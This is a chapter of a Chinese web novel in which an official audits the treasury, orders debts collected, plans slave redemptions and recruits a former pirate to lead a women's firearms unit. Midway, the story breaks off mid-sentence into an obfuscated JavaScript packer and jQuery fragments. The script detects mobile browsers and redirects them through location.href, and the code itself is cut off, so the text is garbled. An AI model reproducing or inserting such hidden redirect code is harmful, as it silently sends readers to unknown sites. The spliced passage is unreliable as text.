周子烬没有给人出难题的觉悟,反正他要废除丞相制的意思已经传达出去了,而现在,他要去处理其他的事情。
他带着丞相府里分脏的账本,亲自带人去核查此次抄家清点出来的财产。如果时间充足,他还打算重新去盘一下户部的账。
毕竟户部掌管着天下财。就算抛开漕运税收,以及其他的苛捐杂税,光算盐税和粮税这两项,每年都是一个庞大的数字。
而周子烬现在最缺的就是钱,毕竟养军队,造武器,使唤人,哪个不需要钱?当然,国库的钱他没有打算挪自己口袋去,只是他要先把经济搞起来:钱要流动。不能存在大臣私库里,或者存在他们自己或者祖宗的棺材里。
这钱就得放到市场上去,让其流动起来。老百姓没钱买东西,官员的东西不用花钱买,那这生产力怎么上得去?国家税收又怎么办?全靠从百姓嘴里抢吃的吗?
那与他的治理理念就相违背了:作为管理者应该只收管理费,而不是去抢去霸占被管理者的一切。管理者的职责是维护秩序,是正义的被信任的一方,而不是成为被管理者的苦难。
周子烬知道人性,也不打算所有管理人员都会有这种‘服务’的觉悟,所以他打算从根子上动刀子:清点官员家产。以后俸禄提升但公开透明化,并且要取消那些特供福利。
还有最重要一点,就是他鼓励举报:只要行贿者在行贿的一年内举报,属于戴罪立功,无罪,索贿者死罪。只有这样,那些人的胃才不会比GDP增长得还快。
先廉政,扫除特权。然后,他还准备干票大的:给奴隶赎身。
他已经派人去接触过那些奴隶,倒是有不少有意愿进周子烬这个‘国家’组织的,但是卖身契在主家手里。他们想要官府出面,最好是有道明确的旨意发出来。
周子烬倒是明白他们的担忧,但他觉得直接下令废除奴隶制,有点慷他人之慨的嫌疑。
毕竟如果让当地政/府出这些钱,也是一项沉重的负担,倒不如他自己花钱解决:成为最大的‘奴隶主’,为那些还不愿意放弃自己的奴隶赎身。
至于赎身后,他也想好了安排。可以将合适的编入他的工厂和军队,其他的全部送去修水泥路。干满一两年再还他们自由身,简直完美。
他都计算好了,买水泥的钱就由国库里出,然后他用卖水泥的钱给那些奴隶赎身并且支付那些人工资。
所以,第一步来了:国库的钱去哪呢?
周子烬怒砸账本,指着那群战战兢兢的官员怒骂:“你们自己看看收支!都他大爷的赤字了,还一个劲的借钱给那些狗东西,不仅无息,还一借就是三五年,长的都二十多年了!怎么,他柱国公传了六代,没钱纳小妾养子孙,还得靠着祖上那点功绩借钱才能活?真不臊得慌!实在没钱,种地去啊,还满府大鱼大肉呼奴使婢的,撑什么气派?给我要钱去,敢说没钱的全抄了!”
他骂的凶,差点把自己都气着。那些官员脸色也不好看,都站着没动,不想去做这得罪人的活。反正欠的是公司的……不对,是国家的钱。
这要债可从来都不是什么容易的活,大家又都是同僚,甚至还是比自己官位还高的,以后抬头不见低头见,为这事去撕破脸皮得罪人不值当。
可是迎着周子烬要杀人的眼神,他们各自使了个眼色,最后不情不愿站出来个人,苦着脸解释:“这账目应该会还的,给些时间就好。之前公主殿下也知道这事……”
“别给我扯这些。”周子烬大声打断他。
公主那次查账他也知道,还不是被人一把火烧了。至于是谁放的火,那就更好猜了。不过他不是公主,才不会给这些人机会,更不会顾忌那么多。
他直接把账本一拍,下了死命令:“三天,给那些欠钱的全部通知到。三天后,没有还钱的,一律按照欠债不还处理。先挨板子,然后抄家!还有你们,这批条上,你们谁签过字的,谁负责。没收回来,你们补,补不上来,你们也一样担责,这顶上的乌纱帽,也可以摘了。”
那些官员愁眉苦脸的低头挨训,有的见周子烬这疯劲,已经料想到新一轮的腥风血雨,打算主动辞官,先避避风头。
周子烬看着他们各不相同的神情,知道这群人心里都有各自的算盘,不一定能办好这事,到时候还得他使狠手段整治。所以也懒得再与他们啰嗦,挥手让他们去做事,自己则是愁的直抹脸。
其实其他的事情倒还好,无论是藩王、丞相还是造反的逆贼,甚至是蠢蠢欲动的边军,包括瘟疫,他都还尚能应付。但现在最大的难点,就是缺钱。
他缺,国库也缺。缺得他看见癞蛤蟆,都想摁出二两尿来。可底线不允许,不然,他是真的想靠武力去掠夺。哪怕都城这些官吏梳理的差不多了,但那些藩王还很肥啊!
可现在,周子烬也只能强行收了收立刻带兵去掠夺的心思,只盼着能多收回些欠债,先把这年关给过了,一边又开始想着能最快捞钱的法子。
最后,他觉得还是开空头支票来钱最快——发国债。
可他信不过管钱的户部那些人,就考虑着重新成立个部门,只是他现在也不没精力操持这些,还是得找个人来帮忙做这事。
只是他还没有确定好人选,就有人来报,说那边特殊关押的人员出了事。
周子烬立刻就想到了公主,当即起身,就准备带人过去。
那手下连忙道:“已经请了大夫给赵姑娘医治,人救回来,就是看着,还是不想活的样子。”
周子烬停住脚,心情有些复杂:要不是手下来报,他都把人忙忘了。
“去看看吧。”
他叹了口气,虽然不太喜欢这种轻易放弃自己生命的,但还是决定过去看看人怎么样了。
赵素兰被安排在了一间小房间里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653870|161412||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,左手腕缠裹着。周子烬没有看见伤口,只是看了看对方瘦削又毫无血色的面容,甚至睡梦里都还皱着眉,终是心软了。
对方还没有醒,周子烬派了两个丫鬟过来照看,又下了命令:下毒这事,虽然他没死,但也是蓄意谋杀,赵家的家产就当赔礼了。他这个受害人,就不再追究了。
周子烬想着,反正以后也是要收缴的。所以先他毫无心理负担。而且他说的是赔偿,而不是抄家,就说明这钱是归他,而不是收缴到国库。到时候,他再还一小部分回去,能让对方一家在不饿死的情况下,有点小产业小收入就行,多的,他怕赵家把握不住。
赵素兰还在睡梦中,并不知道,周子烬这个没有感情的家伙,几句话就让她家破产了。
她以为周子烬至少会顾忌几分昔日情谊,结果,还是她高看了自己在周子烬心里的位置。
等醒来,知道此事后,她再怎么闹,都没有看见周子烬,反倒连伤都没有养好,就被送回了赵家。
而周子烬,在看完赵素兰后,就又去看了另外两人。
他先去看了孟瑶光,对方气色倒是不错,除了也瘦了点,精神状态还不错,看见周子烬时还笑了笑,主动打起招呼。
“吃了没?你空手来的啊?”
周子烬:“……该出去了。”
孟瑶光没一口应下,只是狐疑的打量着他,直接问:“又想让我做什么?我可不再两头做卧底了……”
“你那是做卧底?明明是投敌时被发现,将功赎罪。”
孟瑶光有苦说不出,一直驰骋海域周围无敌手的她,哪里吃过这么大的亏?早知道,就再多带些人带些武器了。所以对周子烬,她也不由有些埋怨:“来之前,你也没告诉我这都城的水这么深啊?”
“搁这跟我装什么?你不了解都城,还不了解那群狗东西?还没进城,就杀的人头滚滚,还把尸体给人送家里去要运送费,你这不是挑衅是什么?狗急了还会咬人,何况你惹的还是那群吃人的。”
“那我现在出去没事?”
“已经清理差不多了。”
孟瑶光眼睛一亮,正要说什么,周子烬抬手制止她,说道:“有件事,要你去办。”
“说说看?”
“不是商量。”周子烬一直就不怎么信任她,但有些事情,又需要她去做,所以直接说道:“我准备开办女学,你就以保护都城贵女出行安全的名义,组建一支女子火器营,主选奴隶和娼妓,要不怕死的。只要他们愿意参加,火器营就可以给她们赎身,任何人不得阻拦,否则,杀。”
孟瑶光对他办女子学校这样‘奇怪’的事情倒是接受的很快,对训练女兵也有经验,只是有些好奇:“为什么是我?不怕我跑了?”
“因为你的海盗出身刚好合适啊。”周子烬说完,又用死亡微笑威胁:“要是敢跑,死。办的结果我不满意,死。”